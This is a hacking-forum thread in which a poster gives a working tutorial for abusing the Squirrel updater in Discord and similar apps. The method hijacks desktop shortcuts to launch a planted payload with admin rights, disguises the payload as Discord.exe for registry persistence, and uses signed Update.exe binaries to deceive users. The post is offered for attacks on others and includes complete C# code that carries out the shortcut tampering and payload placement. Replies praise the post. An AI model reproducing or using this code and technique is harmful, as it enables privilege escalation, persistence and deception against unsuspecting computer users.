Escalating privileges by abusing Squirrel Framework
by gei - Sunday December 17, 2023 at 08:53 PM
#1
The Squirrel framework can be used to trick the user and escalate privileges.

I will show an example with Discord, which uses Squirrel for updating.
By checking out the Desktop shortcut that is created during installation, we can see an interesting argument passed to the Update.exe

[Image: fY6XGzFiSgmB4NxfuJSvVQ.png]

The argument "--processStart" as per the documentation "Start an executable in the latest version of the app package".

So the only thing we need to do is:

  1. Check what is the latest version, we can do this (for discord) check the file at
    %localappdata%\Discord\packages\RELEASES
     
    This file will have something like this:
    0000000000000000000000000000000000000000 discord-updater-1.0.9027.nupkg 0
    1.0.9027 will be our version, so, we place our payload in:
    %localappdata%\Discord\app-1.0.9027

  2. Now, we change the discord shortcut (normally on desktop) by passing the argument "--processStart PAYLOAD.exe --process-start-args="Discord.exe" " this assuming your payload can receive a filepath as an argument, so that it then runs the official discord executable.
  3. Change the shortcut to run as admin, this can be done easily by changing the shortcut byte in index 21 to the value 34. I show this in the code bellow.

Example code (in c#):

using System;
using System.IO;
using System.Text.RegularExpressions;
using IWshRuntimeLibrary;
using File = System.IO.File;

namespace SquirellPrivilege
{
    internal class Program
    {
        private static readonly string DesktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
        private static readonly string LocalAppData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);

        private static void SetAdmin(string shortcutPath)
        {
            if (!File.Exists(shortcutPath))
            {
                return;
            }

            byte[] fileBytes = File.ReadAllBytes(shortcutPath);
            fileBytes[21] = 34;

            File.WriteAllBytes(shortcutPath, fileBytes);
        }

        private static void ChangeShortcut(string shortcutPath, string payloadName, string exeToRun)
        {
            IWshShortcut shortcut = (IWshShortcut)new WshShell().CreateShortcut(shortcutPath);

            shortcut.Arguments = $"--processStart {payloadName} --process-start-args=\"{exeToRun}\"";
            shortcut.Save();

            Console.WriteLine($"{shortcut.TargetPath} {shortcut.Arguments} | {shortcut.WorkingDirectory}");
        }

        private static string GetLatestVersion(string rootDirectory)
        {
            string fileName = Path.Combine(rootDirectory, "packages", "RELEASES");

            if (!File.Exists(fileName))
            {
                return string.Empty;
            }

            string content = File.ReadAllText(fileName);
            string pattern = @"\d+\.\d+\.\d+";

            Match match = Regex.Match(content, pattern);

            if (match.Success)
            {
                return match.Value;
            }

            return string.Empty;
        }

        private static void CopyPayload(string payloadPath, string rootDirectory)
        {
            string latestVersion = GetLatestVersion(rootDirectory);

            if (!File.Exists(payloadPath))
            {
                return;
            }

            File.Copy(payloadPath, Path.Combine(rootDirectory, $"app-{latestVersion}", Path.GetFileName(payloadPath)), true);
        }

        static void Main(string[] args)
        {
            string discordPath = Path.Combine(LocalAppData, "Discord");
            string payload = "SimpleSquirellTest.exe";

            string discordShortcut = "Discord.lnk"; // this would point for the real discord shortcut

            SetAdmin(discordShortcut);
            CopyPayload(payload, discordPath);
            ChangeShortcut(discordShortcut, payload, "Discord.exe");
        }
    }
}
This is nothing fancy, but I've used this a few times and works great, the good thing is, you can do this with any program that uses Squirell framework, this includes whatsapp, postman, etc.

Another thing that can be done is changing the Discord.exe to another name, set your payload as Discord.exe and then add persistence, you would add on registry something like:
C:\Users\admin\AppData\Local\Discord\Update.exe --processStart=Discord.exe

Where this Discord.exe would be actually your own payload, faking discord.

Hope this gives you guys some ideias, and helps a bit.

Another thing I forgot to mention, you can actually bring your own Update.exe from any of the programs that use it, and most of them are signed binaries, it's a great way to trick a user since it shows a trusted binary trying to run as admin.
Reply
#2
Great tutorial! My first windows priv esc was very similar to this. Great contribution to the forum!
Reply
#3
great tutorial, thankyou
Reply




 Users browsing this thread: 1 Guest(s)